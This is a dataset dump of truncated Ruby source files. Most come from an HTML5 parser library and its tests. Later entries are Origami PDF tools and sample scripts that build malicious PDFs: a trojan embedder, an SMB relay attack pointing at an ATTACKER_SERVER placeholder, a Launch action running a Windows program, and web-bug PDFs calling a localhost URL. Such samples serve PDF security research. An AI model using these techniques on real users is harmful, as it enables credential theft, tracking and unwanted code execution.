code
stringlengths
1
1.73M
language
stringclasses
1 value
require 'rake' require 'hoe' require 'lib/html5/version' Hoe.new("html5", HTML5::VERSION) do |p| p.name = "html5" p.description = p.paragraphs_of('README', 2..5).join("\n\n") p.summary = "HTML5 parser/tokenizer." p.author = ['Ryan King'] # TODO: add more names p.email = 'ryan@theryanking.com' p.url ...
Ruby
require 'html5/html5parser' require 'html5/version' module HTML5 def self.parse(stream, options={}) HTMLParser.parse(stream, options) end def self.parse_fragment(stream, options={}) HTMLParser.parse_fragment(stream, options) end end
Ruby
# Warning: this module is experimental and subject to change and even removal # at any time. # # For background/rationale, see: # * http://www.intertwingly.net/blog/2007/01/08/Xhtml5lib # * http://tinyurl.com/ylfj8k (and follow-ups) # # References: # * http://googlereader.blogspot.com/2005/12/xml-errors-in-feeds....
Ruby
require 'stringio' require 'html5/constants' module HTML5 # Provides a unicode stream of characters to the HTMLTokenizer. # This class takes care of character encoding and removing or replacing # incorrect byte-sequences and also provides column and line tracking. class HTMLInputStream attr_accessor :q...
Ruby
require 'html5/constants' module HTML5 class HTMLSerializer def self.serialize(stream, options = {}) new(options).serialize(stream, options[:encoding]) end def escape(string) string.gsub("&", "&amp;").gsub("<", "&lt;").gsub(">", "&gt;") end def initialize(options={}) @quote...
Ruby
require 'html5/serializer/htmlserializer' module HTML5 class XHTMLSerializer < HTMLSerializer DEFAULTS = { :quote_attr_values => true, :minimize_boolean_attributes => false, :use_trailing_solidus => true, :escape_lt_in_attrs => true, :omit_optional_tags ...
Ruby
$:.unshift File.dirname(__FILE__), 'lib' require 'html5' require 'ostruct' require 'optparse' module HTML5::CLI def self.parse_opts argv options = OpenStruct.new options.profile = false options.time = false options.output = :html options.treebuilder = 'simpletree' ...
Ruby
module HTML5 class EOF < Exception; end def self._(str); str end CONTENT_MODEL_FLAGS = [ :PCDATA, :RCDATA, :CDATA, :PLAINTEXT ] SCOPING_ELEMENTS = %w[ applet button caption html marquee object table td th ] FORMATTING_ELEME...
Ruby
require 'cgi' require 'html5/tokenizer' require 'set' module HTML5 # This module provides sanitization of XHTML+MathML+SVG # and of inline style attributes. # # It can be either at the Tokenizer stage: # # HTMLParser.parse(html, :tokenizer => HTMLSanitizer) # # or, if you already have a parse tree (in this exam...
Ruby
module HTML5 VERSION = '0.10.1' end
Ruby
require 'html5/treewalkers/base' module HTML5 module TreeWalkers class << self def [](name) case name.to_s.downcase when 'simpletree' require 'html5/treewalkers/simpletree' SimpleTree::TreeWalker when 'rexml' require 'html5/treewalkers/rexml' ...
Ruby
module HTML5 module TreeBuilders class << self def [](name) case name.to_s.downcase when 'simpletree' then require 'html5/treebuilders/simpletree' SimpleTree::TreeBuilder when 'rexml' then require 'html5/treebuilders/rexml' REXML::TreeBuilder ...
Ruby
require 'html5/treebuilders/base' require 'rubygems' require 'hpricot' require 'forwardable' module HTML5 module TreeBuilders module Hpricot class Node < Base::Node extend Forwardable def_delegators :@hpricot, :name attr_accessor :hpricot def initialize(name) s...
Ruby
require 'html5/treebuilders/base' require 'rexml/document' require 'forwardable' module HTML5 module TreeBuilders module REXML class Node < Base::Node extend Forwardable def_delegators :@rxobj, :name, :attributes attr_accessor :rxobj def initialize name super nam...
Ruby
require 'html5/constants' #XXX - TODO; make the default interface more ElementTree-like rather than DOM-like module HTML5 # The scope markers are inserted when entering buttons, object elements, # marquees, table cells, and table captions, and are used to prevent formatting # from "leaking" into tables, button...
Ruby
require 'html5/treebuilders/base' module HTML5 module TreeBuilders module SimpleTree class Node < Base::Node # Node representing an item in the tree. # name - The tag name associated with the node attr_accessor :name # The value of the current node (applies to text nodes a...
Ruby
module HTML5 module Sniffer # 4.7.4 def html_or_feed str s = str[0, 512] # steps 1, 2 pos = 0 while pos < s.length case s[pos] when ?\t, ?\ , ?\n, ?\r # 0x09, 0x20, 0x0A, 0x0D == tab, space, LF, CR pos += 1 when ?< # 0x3C pos += 1 if s[pos..pos+2] == "!--" # [0...
Ruby
require 'html5/serializer/htmlserializer' require 'html5/serializer/xhtmlserializer'
Ruby
require 'html5/constants' require 'html5/tokenizer' require 'html5/treebuilders/rexml' Dir.glob(File.join(File.dirname(__FILE__), 'html5parser', '*_phase.rb')).each do |path| require 'html5/html5parser/' + File.basename(path) end module HTML5 # Error in parsed document class ParseError < Exception; end class...
Ruby
require 'html5/constants' require 'html5/inputstream' module HTML5 # This class takes care of tokenizing HTML. # # * @current_token # Holds the token that is currently being processed. # # * @state # Holds a reference to the method to be invoked... XXX # # * @states # Holds a mapping between...
Ruby
require 'html5/html5parser/phase' module HTML5 class AfterBodyPhase < Phase handle_end 'html' def processComment(data) # This is needed because data is to be appended to the <html> element # here and not to whatever is currently open. @tree.insert_comment(data, @tree.open_elements.first) ...
Ruby
require 'html5/html5parser/phase' module HTML5 class InSelectPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-select handle_start 'html', 'option', 'optgroup', 'select' handle_start 'input' handle_end 'option', 'optgroup', 'select', %w( caption table tbody tfoot thead tr td th ...
Ruby
require 'html5/html5parser/phase' module HTML5 class AfterHeadPhase < Phase handle_start 'html', 'body', 'frameset', %w( base link meta script style title ) => 'FromHead' handle_end %w( body html br ) => 'BodyHtmlBr' def process_eof anything_else @parser.phase.process_eof end def p...
Ruby
require 'html5/html5parser/phase' module HTML5 class InSelectInTablePhase < Phase handle_start %w(caption table tbody tfoot thead tr td th) => 'Table' handle_end %w(caption table tbody tfoot thead tr td th) => 'Table' def processCharacters(data) @parser.phases[:inSelect].processCharacters(data) end ...
Ruby
require 'html5/html5parser/phase' module HTML5 class AfterAfterFramesetPhase < Phase handle_start 'html', 'noframes' def processComment(data) @tree.insert_comment(data) end def processDoctype data @parser.phases[:inBody].processDoctype(data) end def processSpaceCha...
Ruby
require 'html5/html5parser/phase' module HTML5 class InHeadPhase < Phase handle_start 'html', 'head', 'title', 'style', 'script', 'noscript' handle_start %w( base link meta) handle_end 'head' handle_end %w( html body br ) => 'ImplyAfterHead' handle_end %w( title style script noscript ) def...
Ruby
require 'html5/html5parser/phase' module HTML5 class InForeignContentPhase < Phase def processCharacters(data) @tree.insertText(data) end def startTagOther(name, attributes, self_closing) if !%w[mglyph malignmark].include?(name) && %w[mi mo mn ms mtext].include?(@tree.open_elements.last.nam...
Ruby
require 'html5/html5parser/phase' module HTML5 class AfterFramesetPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#after3 handle_start 'html', 'noframes' handle_end 'html' def processCharacters(data) parse_error("unexpected-char-after-frameset") end def startTagNo...
Ruby
require 'html5/html5parser/phase' module HTML5 class InColumnGroupPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-column handle_start 'html', 'col' handle_end 'colgroup', 'col' def ignoreEndTagColgroup @tree.open_elements[-1].name == 'html' end def processChar...
Ruby
require 'html5/html5parser/phase' module HTML5 class InitialPhase < Phase # This phase deals with error handling as well which is currently not # covered in the specification. The error handling is typically known as # "quirks mode". It is expected that a future version of HTML5 will define this. d...
Ruby
require 'html5/html5parser/phase' module HTML5 class AfterAfterBodyPhase < Phase handle_start 'html' def processComment(data) @tree.insert_comment(data) end def processDoctype data @parser.phases[:inBody].processDoctype(data) end def processSpaceCharacters data ...
Ruby
require 'html5/html5parser/phase' module HTML5 class BeforeHeadPhase < Phase handle_start 'html', 'head' handle_end %w( head br ) => 'ImplyHead' def process_eof startTagHead('head', {}) @parser.phase.process_eof end def processSpaceCharacters(data) end def processCharacte...
Ruby
require 'html5/html5parser/phase' module HTML5 class InCellPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-cell handle_start 'html', %w( caption col colgroup tbody td tfoot th thead tr ) => 'TableOther' handle_end %w( td th ) => 'TableCell', %w( body caption col colgroup html ) =...
Ruby
module HTML5 # Base class for helper objects that implement each phase of processing. # # Handler methods should be in the following order (they can be omitted): # # * EOF # * Comment # * Doctype # * SpaceCharacters # * Characters # * StartTag # - startTag* methods # * EndTag ...
Ruby
require 'html5/html5parser/phase' module HTML5 class InRowPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-row handle_start 'html', %w( td th ) => 'TableCell', %w( caption col colgroup tbody tfoot thead tr ) => 'TableOther' handle_end 'tr', 'table', %w( tbody tfoot thead ) => 'Tab...
Ruby
require 'html5/html5parser/phase' module HTML5 class InTableBodyPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-table0 handle_start 'html', 'tr', %w( td th ) => 'TableCell', %w( caption col colgroup tbody tfoot thead ) => 'TableOther' handle_end 'table', %w( tbody tfoot thead ) =...
Ruby
require 'html5/html5parser/phase' module HTML5 class InTablePhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-table handle_start 'html', 'caption', 'colgroup', 'col', 'table' handle_start %w( tbody tfoot thead ) => 'RowGroup', %w( td th tr ) => 'ImplyTbody' handle_start %w(sty...
Ruby
require 'html5/html5parser/phase' module HTML5 class InBodyPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-body handle_start 'html' handle_start %w(base link meta script style title) => 'ProcessInHead' handle_start 'body', 'form', 'plaintext', 'a', 'button', 'xmp', 'table', '...
Ruby
require 'html5/html5parser/phase' module HTML5 class InFramesetPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-frameset handle_start 'html', 'frameset', 'frame', 'noframes' handle_end 'frameset', 'noframes' def processCharacters(data) parse_error("unexpected-char-in-fr...
Ruby
require 'html5/html5parser/phase' module HTML5 class InCaptionPhase < Phase # http://www.whatwg.org/specs/web-apps/current-work/#in-caption handle_start 'html', %w(caption col colgroup tbody td tfoot th thead tr) => 'TableElement' handle_end 'caption', 'table', %w(body col colgroup html tbody td tfoot...
Ruby
require 'html5/html5parser/phase' module HTML5 class BeforeHtmlPhase < Phase def process_eof insert_html_element @parser.phase.process_eof end def processComment(data) @tree.insert_comment(data, @tree.document) end def processSpaceCharacters(data) end def processChar...
Ruby
require 'html5/treewalkers/base' require 'rexml/document' module HTML5 module TreeWalkers module Hpricot class TreeWalker < HTML5::TreeWalkers::NonRecursiveTreeWalker def node_details(node) case node when ::Hpricot::Elem if node.name.empty? [:DOCUMENT_...
Ruby
require 'html5/treewalkers/base' require 'rexml/document' module HTML5 module TreeWalkers module REXML class TreeWalker < HTML5::TreeWalkers::NonRecursiveTreeWalker def node_details(node) case node when ::REXML::Document [:DOCUMENT] when ::REXML::Element ...
Ruby
require 'html5/constants' module HTML5 module TreeWalkers module TokenConstructor def error(msg) {:type => "SerializeError", :data => msg} end def normalize_attrs(attrs) attrs.to_a end def empty_tag(name, attrs, has_children=false) error(_("Void element has children")) if has_children {:typ...
Ruby
require 'html5/treewalkers/base' module HTML5 module TreeWalkers module SimpleTree class TreeWalker < HTML5::TreeWalkers::Base include HTML5::TreeBuilders::SimpleTree def walk(node) case node when Document, DocumentFragment return when DocumentTyp...
Ruby
# HTML 5 conformance checker # # Warning: this module is experimental, incomplete, and subject to removal at any time. # # Usage: # >>> from html5lib.html5parser import HTMLParser # >>> from html5lib.filters.validator import HTMLConformanceChecker # >>> p = HTMLParser(tokenizer=HTMLConformanceChecker) # >>> p.parse('...
Ruby
# borrowed from feedvalidator, original copyright license is # # Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the So...
Ruby
require 'html5/filters/base' require 'html5/sanitizer' module HTML5 module Filters class HTMLSanitizeFilter < Base include HTMLSanitizeModule def each __getobj__.each do |token| yield(sanitize_token(token)) end end end end end
Ruby
require 'html5/filters/base' module HTML5 module Filters class InjectMetaCharset < Base def initialize(source, encoding) super(source) @encoding = encoding end def each state = :pre_head meta_found = @encoding.nil? pending = [] __getobj__.each d...
Ruby
# adapted from feedvalidator, original copyright license is # # Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Sof...
Ruby
require 'html5/constants' require 'html5/filters/base' module HTML5 module Filters class OptionalTagFilter < Base def slider previous1 = previous2 = nil __getobj__.each do |token| yield previous2, previous1, token if previous1 != nil previous2 = previous1 prev...
Ruby
require 'delegate' require 'enumerator' module HTML5 module Filters class Base < SimpleDelegator include Enumerable end end end
Ruby
require 'html5/constants' require 'html5/filters/base' module HTML5 module Filters class WhitespaceFilter < Base SPACE_PRESERVE_ELEMENTS = %w[pre textarea] + RCDATA_ELEMENTS SPACES = /[#{SPACE_CHARACTERS.join('')}]+/m def each preserve = 0 __getobj__.each do |token| ...
Ruby
# adapted from feedvalidator, original copyright license is # # Copyright (c) 2002-2006, Sam Ruby, Mark Pilgrim, Joseph Walton, and Phil Ringnalda # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Sof...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require "html5/sniffer" class TestFeedTypeSniffer < Test::Unit::TestCase include HTML5 include TestSupport include Sniffer html5_test_files('sniffer').each do |test_file| test_name = File.basename(test_file).sub('.test', '') tests = JSON.parse(F...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require "test/unit" require "html5/inputstream" class TestHtml5Inputstream < Test::Unit::TestCase def test_newline_in_queue stream = HTML5::HTMLInputStream.new("\nfoo") stream.unget(stream.char) assert_equal [1, 0], stream.position end def test...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/inputstream' class HTMLInputStreamTest < Test::Unit::TestCase include HTML5 def getc stream if String.method_defined? :force_encoding stream.char.force_encoding('binary') else stream.char end end def test_char_ascii...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/html5parser' require 'html5/treewalkers' require 'html5/treebuilders' $tree_types_to_test = { 'simpletree' => {:builder => HTML5::TreeBuilders['simpletree'], :walker => HTML5::TreeWalkers['simpletree']}, 'rexml' => {:builder => HTM...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/treebuilders' require 'html5/html5parser' require 'html5/cli' $tree_types_to_test = ['simpletree', 'rexml'] begin require 'hpricot' $tree_types_to_test.push('hpricot') rescue LoadError end class Html5ParserTestCase < Test::Unit::TestCase inc...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/liberalxmlparser' XMLELEM = /<(\w+\s*)((?:[-:\w]+="[^"]*"\s*)+)(\/?)>/ def assert_xml_equal(input, expected=nil, parser=HTML5::XMLParser) sortattrs = proc {"<#{$1+$2.split.sort.join(' ')+$3}>"} document = parser.parse(input.chomp, :lowercase_at...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require "html5/cli" class TestCli < Test::Unit::TestCase def test_open_input assert_equal $stdin, HTML5::CLI.open_input('-') assert_kind_of StringIO, HTML5::CLI.open_input('http://whatwg.org/') assert_kind_of File, HTML5::CLI.open_input('testdata/site...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/inputstream' class Html5EncodingTestCase < Test::Unit::TestCase include HTML5 include TestSupport begin require 'rubygems' require 'UniversalDetector' def test_chardet #TODO: can we get rid of this? file = File.open(File.jo...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/tokenizer' require 'tokenizer_test_parser' class Html5TokenizerTestCase < Test::Unit::TestCase def assert_tokens_match(expectedTokens, receivedTokens, ignoreErrorOrder, message) if !ignoreErrorOrder assert_equal expectedTokens, receive...
Ruby
#!/usr/bin/env ruby require File.join(File.dirname(__FILE__), 'preamble') require 'html5/html5parser' require 'html5/liberalxmlparser' require 'html5/treewalkers' require 'html5/serializer' require 'html5/sanitizer' class SanitizeTest < Test::Unit::TestCase include HTML5 def sanitize_xhtml stream XHTMLParse...
Ruby
require 'html5/constants' class TokenizerTestParser def initialize(tokenizer) @tokenizer = tokenizer end def parse @outputTokens = [] debug = nil for token in @tokenizer debug = token.inspect if token[:type] == :ParseError send(('process' + token[:type].to_s), token) end re...
Ruby
require 'test/unit' HTML5_BASE = File.dirname(File.dirname(File.dirname(File.expand_path(__FILE__)))) if File.exists?(File.join(HTML5_BASE, 'ruby', 'testdata')) TESTDATA_DIR = File.join(HTML5_BASE, 'ruby', 'testdata') else TESTDATA_DIR = File.join(HTML5_BASE, 'testdata') end $:.unshift File.join(File.dirname(Fi...
Ruby
require File.join(File.dirname(__FILE__), 'preamble') require 'html5/html5parser' require 'html5/serializer' require 'html5/treewalkers' #Run the serialize error checks checkSerializeErrors = false class JsonWalker < HTML5::TreeWalkers::Base def each @tree.each do |token| case token[0] when 'StartT...
Ruby
#!/usr/bin/env ruby -wKU require File.join(File.dirname(__FILE__), 'preamble') require 'html5' require 'html5/filters/validator' class TestValidator < Test::Unit::TestCase def run_validator_test(test) p = HTML5::HTMLParser.new(:tokenizer => HTMLConformanceChecker) p.parse(test['input']) errorCodes = p....
Ruby
# Require any additional compass plugins here. # Set this to the root of your project when deployed: http_path = "/" css_dir = "theme/css" sass_dir = "theme/scss" images_dir = "images" javascripts_dir = "js" # You can select your preferred output style here (can be overridden via the command line): output_style = :co...
Ruby
require 'find' require 'getoptlong' # Method to convert bytes human readable form # - Accepts size in bytes # - Returns Array holding new bytes and type # Type = blank for byte, # K for Kilobyte # M for Megabyte # G for Gigabyte def convSize(bytes) type = "" # Size type ...
Ruby
require 'find' str = ARGV[0] path = ARGV[1] if str.nil? puts "Error: include string to search" exit 1 end puts str.class puts str # Go through each file and get all sizes #Find.find('.') do |path| # puts path #end puts str
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Embeds and PDF document into a trojan PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Fre...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Encrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, eit...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Prints out the metadata contained in a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Fr...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Uncompresses all binary streams of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: This is a PDF document filtering engine using Origami. Security policies are based on a white list of PDF features. Default policies details can be found in the default configuration file. You can also add your...
Ruby
#!/usr/bin/env ruby =begin = Info Convert a PDF document to an Origami script. Experimental. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, ...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Generates a Graphviz DOT or GraphML file out of a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published...
Ruby
#!/usr/bin/env ruby =begin = Author: Guillaume Delugré <guillaume/at/security-labs.org> = Info: Decrypts a PDF document. = License: Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, eit...
Ruby
#!/usr/bin/env ruby =begin = File walker.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser Ge...
Ruby
=begin = File treeview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
=begin = File hexview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License...
Ruby
=begin = File textview.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public Licens...
Ruby
=begin = File xrefs.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License a...
Ruby
=begin = File console.rb = Info This file is part of Origami, PDF manipulation framework for Ruby Copyright (C) 2010 Guillaume Delugré <guillaume@security-labs.org> All right reserved. Origami is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Pub...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami if ARGV.size < 2 puts "Usage: #{__FILE__} <signature> <files>" end SIG = ARGV.shift ARGV.each do |file| pdf = PDF.read(file, :verbosity => P...
Ruby
require 'optparse' class OptParser def self.parse(args) options = {} opts = OptionParser.new do |opts| opts.banner = "Usage: #{$0} [options] <arguments>" opts.on("-i", "--input PDFFILE", "Input pdf") do |i| options[:input] = i end op...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami require 'getopt.rb' pdf, output_name, type = get_params() TRIGGER_PATTERNS = [ 'OpenAction', 'AA', 'Names' ] ACTIONS_PATTERNS = [ 'GoTo', 'GoToE'...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami if ARGV.size < 1 puts "Usage: #{__FILE__} <files>" end ARGV.each do |file| pdf = PDF.read(file, :verbosity => Parser::VERBOSE_QUIET) script...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) index = 1 pages = pdf.pages pages.each { |page| page.onOpen(Action...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG ) pages = pdf.pages pages.each { |page| page.onOpen(Action::Named.new...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami # # SMB relay attack. # Uses a GoToR action to open a shared network directory. # ATTACKER_SERVER = "localhost" pdf = PDF.read(ARGV[0]) dst = Ex...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" pdf = PDF.new page = Page.new contents ...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" params = Action::Launch::WindowsLaunchParams.new params.F = "C:\\\\WINDOWS\\\\system32\\\\not...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-js.pdf" JSCRIPTFILE = "submitform.js" puts "Now generating a new PDF file from scratch!" contents = ContentStream.new.setFil...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-browser.pdf" puts "Now generating a new bugged PDF file from scratch!" URL = "http://localhost/webbug-browser.html" pdf = P...
Ruby
#!/usr/bin/ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "webbug-reader.pdf" URL = "http://localhost/webbug-reader.php" puts "Now generating a new bugged PDF file from scratch!" pdf = PDF....
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creates an encrypted document with AES...
Ruby
#!/usr/bin/env ruby begin require 'origami' rescue LoadError ORIGAMIDIR = "#{File.dirname(__FILE__)}/../.." $: << ORIGAMIDIR require 'origami' end include Origami INPUTFILE = "test.swf" OUTPUTFILE = "#{File.basename(__FILE__, ".rb")}.pdf" puts "Now generating a new PDF file from scratch!" # Creating a new ...
Ruby